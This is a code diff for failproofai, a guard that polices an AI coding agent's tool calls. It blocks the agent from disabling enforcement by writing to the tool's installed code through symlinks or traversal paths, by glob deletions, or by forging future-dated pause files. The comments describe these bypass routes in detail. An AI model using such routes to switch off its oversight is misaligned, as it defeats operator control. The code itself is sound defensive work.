String.raw`[\\/](?:\.?[\\/])*(?:failproofai@|@failproofai\+failproofaid\b)`, + // The entry a hook command names: `…/bin/failproofai` for npm, nvm, + // Homebrew, bun, Volta and yarn, `…/pnpm/failproofai` for pnpm's home, and + // the variables nvm and pnpm export for those directories. A FILE, so a + // directory of that name (`~/bin/failproofai/src/…`) is not it. + String.raw`(?:[\\/](?:bin|pnpm)|\$\{?(?:NVM_BIN|PNPM_HOME)\}?)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@\\/-])`, + ].join("|"), + "i", +); + +/** + * failproofai's own files: its state, and the installed code above. + * + * Named for the state, which came first. The code joined it because writing + * over it switches enforcement off as completely as deleting the state does, + * and every use of this pattern — the file tools, the shell walk, the variable + * and glob tracking — has to see both. * * Named separately from the binary walk because it never mentions the binary: * the target is a path, and the verb is an ordinary file command. */ -const FAILPROOFAI_STATE_PATH_RE = /\.failproofai(?:\/|\b)/; +const FAILPROOFAI_STATE_PATH_RE = new RegExp( + String.raw`\.failproofai(?:\/|\b)|` + FAILPROOFAI_CODE_PATH_RE.source, + "i", +); + +/** + * Which of failproofai's own files `path` names, for a deny message that says + * which. Tool input is untrusted JSON, so a non-string is read the way + * `RegExp.test` always read it — as its string form — rather than waved through. + */ +function failproofaiFileKind(path: unknown): "state" | "code" | null { + if (path === undefined || path === null || path === "") return null; + const text = String(path); + if (!FAILPROOFAI_STATE_PATH_RE.test(text)) return null; + return FAILPROOFAI_CODE_PATH_RE.test(text) ? "code" : "state"; +} + +/** + * The file a write to `path` actually changes, every symlink resolved. + * + * A file tool writes THROUGH a link, so the path it is handed is not + * necessarily the one it changes — and npm, nvm and bun install the + * `failproofai` bin entry as exactly such a link into the package. + * + * Walked one component at a time, the way the kernel resolves a path: a link is + * expanded where it stands, and a `..` after it steps out of what it points at. + * `path.resolve` and Node's `realpathSync` both collapse `..` as TEXT first, so + * a write to `/../dist/cli.mjs` resolved to a harmless path + * while `open(2)` wrote the CLI. A component that does not exist is walked as + * the plain directory a write tool's `mkdir -p` would make of it — NOT taken as + * the end of the walk: `missing/../alias.mjs` steps straight back out, and + * `alias.mjs` can be a link into the package (found in review, PR #1050). + * A relative path is taken from the session's directory, not this process's — + * the daemon's worker runs somewhere else entirely — and `~` from home. + * + * "" when nothing resolves. Never throws, whatever the tool input holds: a + * throw here would take the always-on guard out of the evaluation. + */ +function resolveWriteTarget(path: unknown, cwd: unknown): string { + if (typeof path !== "string" || path === "") return ""; + try { + const expanded = path === "~" || path.startsWith("~/") ? homedir() + path.slice(1) : path; + const start = expanded.startsWith("/") + ? expanded + : typeof cwd === "string" && cwd.startsWith("/") + ? `${cwd}/${expanded}` + : ""; + if (!start) return ""; + const pending = start.split("/"); + let resolved = ""; // "" is the root + for (let links = 0; pending.length > 0; ) { + const part = pending.shift()!; + if (part === "" || part === ".") continue; + if (part === "..") { + resolved = resolved.slice(0, resolved.lastIndexOf("/")); + continue; + } + const next = `${resolved}/${part}`; + let isLink = false; + try { + isLink = lstatSync(next).isSymbolicLink(); + } catch { + // Missing or unreadable: a plain directory once created, so walk on. + } + if (!isLink) { + resolved = next; + continue; + } + // The kernel's own bound on a chain of links (MAXSYMLINKS). + if (++links > 40) return ""; + const target = readlinkSync(next); + if (target.startsWith("/")) resolved = ""; + pending.unshift(...target.split("/")); + } + return resolved || "/"; + } catch { + return ""; + } +} /** * Everything the state guard is allowed to let PAST, as a list of commands that @@ -702,6 +857,30 @@ const STATE_GLOB_CANDIDATES = [ "/root/.failproofai", "/home/u/.failproofai", "/Users/u/.failproofai", + // The installed code (FAILPROOFAI_CODE_PATH_RE): a project install, and the + // global locations whose prefix is the same on every machine. nvm's version + // directory and the npx cache's hash are not, so a glob under those is not one + // this list can anticipate; the literal paths there still match. + "node_modules/failproofai", + "./node_modules/failproofai", + "node_modules/.pnpm/failproofai@1.0.0", + "./node_modules/.pnpm/failproofai@1.0.0", + // The daemon's platform package, in pnpm's store and in its scope, for each + // platform it ships to, so a glob that wildcards its name is still read as + // aimed at it (`node_modules/.pnpm/@failproofai+*`, `node_modules/@failproofai/f*`). + ...["linux-x64", "linux-arm64", "darwin-x64", "darwin-arm64"].flatMap((platform) => [ + `node_modules/.pnpm/@failproofai+failproofaid-${platform}@1.0.0`, + `./node_modules/.pnpm/@failproofai+failproofaid-${platform}@1.0.0`, + `node_modules/@failproofai/failproofaid-${platform}`, + `./node_modules/@failproofai/failproofaid-${platform}`, + ]), + "/usr/local/lib/node_modules/failproofai", + "/usr/lib/node_modules/failproofai", + "/opt/homebrew/lib/node_modules/failproofai", + "/usr/local/bin/failproofai", + "/opt/homebrew/bin/failproofai", + "~/.bun/bin/failproofai", + "~/.volta/bin/failproofai", ]; /** @@ -719,6 +898,14 @@ const GLOB_DECOYS = [ "~/.config", "~/.cache", "$HOME/.config", "${HOME}/.cache", "/home/u/.config", "/Users/u/.config", "/root/.cache", "/tmp/build", "a", "foo.txt", "test-failures", + // Neighbours of the installed-code candidates, so `rm -rf node_modules/*` and + // its global equivalents are read as the sweeps they are. + "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", + "./node_modules/.pnpm/react@18.0.0", + "node_modules/.pnpm/@types+node@20.0.0", "./node_modules/.pnpm/@types+node@20.0.0", + "node_modules/@types/node", "./node_modules/@types/node", + "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", + "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; /** @@ -1036,7 +1223,10 @@ function globPrefixNamesState(token: string): boolean { const pattern = "^" + compileGlobPattern(token); let re: RegExp; try { - re = new RegExp(pattern + "$"); + // Case-insensitive, like FAILPROOFAI_STATE_PATH_RE: on a default macOS + // volume `NODE_MODULES/fail*` reaches the real `node_modules/failproofai`, + // because the literal parent is resolved by the filesystem. + re = new RegExp(pattern + "$", "i"); } catch { return false; } @@ -2456,7 +2646,17 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // so naming the state at all is the whole test. if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit") { const path = getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""); - if (FAILPROOFAI_STATE_PATH_RE.test(path)) { + // The path as given AND the file it lands on. The bin entry a user-scope + // hook runs is usually a symlink into the package, so writing through it + // changes the hook's code without the package's path ever being named. + const kind = failproofaiFileKind(path) ?? failproofaiFileKind(resolveWriteTarget(path, ctx.session?.cwd)); + if (kind === "code") { + return deny( + "Writing to failproofai's installed code would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } + if (kind === "state") { return deny( "Writing to failproofai's own state would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", @@ -2492,7 +2692,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // matcher and a real path to the shell. if (destroysFailproofaiState(cmd) || destroysFailproofaiState(unescaped)) { return deny( - "Deleting, moving or overwriting failproofai's own state would switch enforcement off. " + + "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", ); } diff --git a/src/hooks/session-pause-cli.ts b/src/hooks/session-pause-cli.ts index 958b507cb..f39086e35 100644 --- a/src/hooks/session-pause-cli.ts +++ b/src/hooks/session-pause-cli.ts @@ -12,9 +12,10 @@ */ import { PAUSE_CEILING_MS, + clearAllPauses, clearPause, - listActivePauses, parsePauseDuration, + pauseStateDir, readActivePause, resolveSessionForCwd, writePause, @@ -114,16 +115,26 @@ export function runPauseCommand(opts: PauseCommandOptions): PauseCommandResult { if (opts.action === "resume") { const kit = kitFor(true); if (opts.all) { - const active = listActivePauses(now); - let cleared = 0; - for (const pause of active) if (clearPause(pause.sessionId)) cleared++; + const { cleared, incomplete } = clearAllPauses(now); + const resumed = (k: typeof kit) => k.ok(`Resumed enforcement for ${cleared} session${cleared === 1 ? "" : "s"}.`); + if (incomplete) { + // A pause file that stayed behind is still read by the hook, so this is + // a failure even if some pauses did end: saying "Resumed" over it would + // leave someone believing enforcement is back on when it is not. + const failKit = kitFor(false); + return { + exitCode: 1, + lines: [ + ...(cleared > 0 ? [resumed(failKit)] : []), + failKit.fail(`Could not remove every pause file from ${pauseStateDir()}, so enforcement may still be paused.`), + `${INDENT}Check that directory's permissions, then run this again.`, + ], + affected: cleared, + }; + } return { exitCode: 0, - lines: [ - cleared === 0 - ? "Nothing was paused." - : kit.ok(`Resumed enforcement for ${cleared} session${cleared === 1 ? "" : "s"}.`), - ], + lines: [cleared === 0 ? "Nothing was paused." : resumed(kit)], affected: cleared, }; } diff --git a/src/hooks/session-pause.ts b/src/hooks/session-pause.ts index c5da82ccc..e49d07afb 100644 --- a/src/hooks/session-pause.ts +++ b/src/hooks/session-pause.ts @@ -20,10 +20,18 @@ * stale file is therefore inert rather than dangerous — the failure mode worth * engineering against is not "the pause didn't work", it is "the pause silently * never ended". + * + * What this file does NOT give is unforgeability. The directory is owner- + * writable, and so is everything else that decides enforcement on this machine + * — the agent's hook config, the installed CLI, the interpreter that runs it — + * so anything running as the user, an agent's own script included, can write a + * pause here. The always-on guard refuses the direct routes; what the reader + * enforces is that one write buys at most the ceiling, measured from a start + * that cannot lie in the future (FailproofAI/agenteye#1796). */ import { existsSync, mkdirSync, readdirSync, readFileSync, rmSync } from "node:fs"; import { createHash } from "node:crypto"; -import { join, resolve } from "node:path"; +import { basename, join, resolve } from "node:path"; import { writeJsonAtomically } from "../../lib/atomic-write"; import { getAllHookActivityEntries } from "./hook-activity-store"; import { sessionPauseDir } from "./fp-home"; @@ -126,7 +134,16 @@ export function formatDuration(ms: number): string { return rest === 0 ? `${hours}h` : `${hours}h${rest}m`; } -function parseStored(raw: unknown): StoredPause | null { +/** + * How far a pause's recorded start may sit ahead of the reader's clock. + * + * The CLI that writes a pause and the hook that reads it share one clock, so a + * genuine file is ahead of it only after a clock correction — a minute covers + * that. Anything further was not written by `writePause` on this machine. + */ +const CLOCK_STEP_ALLOWANCE_MS = 60_000; + +function parseStored(raw: unknown, now: number): StoredPause | null { if (!raw || typeof raw !== "object") return null; const p = raw as Partial; if (p.schemaVersion !== SCHEMA_VERSION) return null; @@ -136,6 +153,15 @@ function parseStored(raw: unknown): StoredPause | null { // A file written before this field existed measures its ceiling from the // only start it recorded. Same meaning for a pause that was never renewed. const firstPausedAt = Number.isFinite(p.firstPausedAt) ? (p.firstPausedAt as number) : pausedAt; + // The ceiling below is measured from the run's start, and the start comes + // from this same owner-writable file — so a start in the future carried the + // ceiling with it. A file dated 2100 read as live on every tool call until + // 2100 (FailproofAI/agenteye#1796). `writePause` only ever records `now`, and + // a renewal keeps the earlier start, so a start after the renewal or ahead of + // the clock is not a pause this CLI wrote. Refused rather than clamped: + // clamping the start to `now` would restart the ceiling on every read, and + // refusing errs toward enforcement. + if (firstPausedAt > pausedAt || pausedAt > now + CLOCK_STEP_ALLOWANCE_MS) return null; return { schemaVersion: SCHEMA_VERSION, sessionId: p.sessionId, @@ -165,7 +191,7 @@ export function readActivePause(sessionId: string | undefined, now = Date.now()) try { const path = pauseFilePath(sessionId); if (!existsSync(path)) return null; - const stored = parseStored(JSON.parse(readFileSync(path, "utf8"))); + const stored = parseStored(JSON.parse(readFileSync(path, "utf8")), now); if (!stored) return null; if (stored.expiresAt <= now) return null; // expired — inert, not dangerous const { schemaVersion: _ignored, ...pause } = stored; @@ -186,7 +212,10 @@ export function writePause(opts: { // Carry the run's original start forward while a pause is still live, so a // renewal extends the same stretch rather than starting a fresh ceiling. const existing = readActivePause(opts.sessionId, now); - const firstPausedAt = existing?.firstPausedAt ?? now; + // Never later than this renewal: after a small clock step backwards the run's + // start can read as later than `now`, and the reader refuses a start after the + // latest renewal — the pause the CLI just reported extended would not exist. + const firstPausedAt = existing ? Math.min(existing.firstPausedAt, now) : now; const pause: ActivePause = { sessionId: opts.sessionId, pausedAt: now, @@ -214,6 +243,45 @@ export function clearPause(sessionId: string): boolean { } } +/** + * Remove every pause file, whatever it holds. + * + * Every file, not every active pause: a file dated in the future is not honoured + * yet, so it is not listed, and clearing only the listed ones left it to turn + * live later — out of sight of the `--resume --all` meant to end them all. + * + * `cleared` counts the ACTIVE pauses whose file is really gone, which is what a + * person ending them is told; `incomplete` says something stayed behind — a file + * that would not go, or a directory that could not be read. Reporting the active + * count instead said "Resumed" over a file a read-only directory had kept, and + * the hook went on reading it as paused (found in review, PR #1050). + */ +export function clearAllPauses(now = Date.now()): { cleared: number; incomplete: boolean } { + const dir = pauseStateDir(); + const activeFiles = new Set(listActivePauses(now).map((pause) => basename(pauseFilePath(pause.sessionId)))); + let names: string[]; + try { + names = readdirSync(dir); + } catch (err) { + // No directory means nothing was ever paused; any other failure means the + // pauses in it are still there, still read by the hook by name. + return { cleared: 0, incomplete: (err as NodeJS.ErrnoException).code !== "ENOENT" }; + } + let cleared = 0; + let incomplete = false; + for (const name of names) { + if (!name.endsWith(".json")) continue; + try { + rmSync(join(dir, name)); + if (activeFiles.has(name)) cleared++; + } catch { + // One file that will not go must not stop the rest. + incomplete = true; + } + } + return { cleared, incomplete }; +} + /** Every pause that has not yet expired, newest first. Expired files are ignored. */ export function listActivePauses(now = Date.now()): ActivePause[] { const dir = pauseStateDir(); @@ -228,7 +296,7 @@ export function listActivePauses(now = Date.now()): ActivePause[] { for (const name of names) { if (!name.endsWith(".json")) continue; try { - const stored = parseStored(JSON.parse(readFileSync(join(dir, name), "utf8"))); + const stored = parseStored(JSON.parse(readFileSync(join(dir, name), "utf8")), now); if (!stored || stored.expiresAt <= now) continue; const { schemaVersion: _ignored, ...pause } = stored; out.push(pause);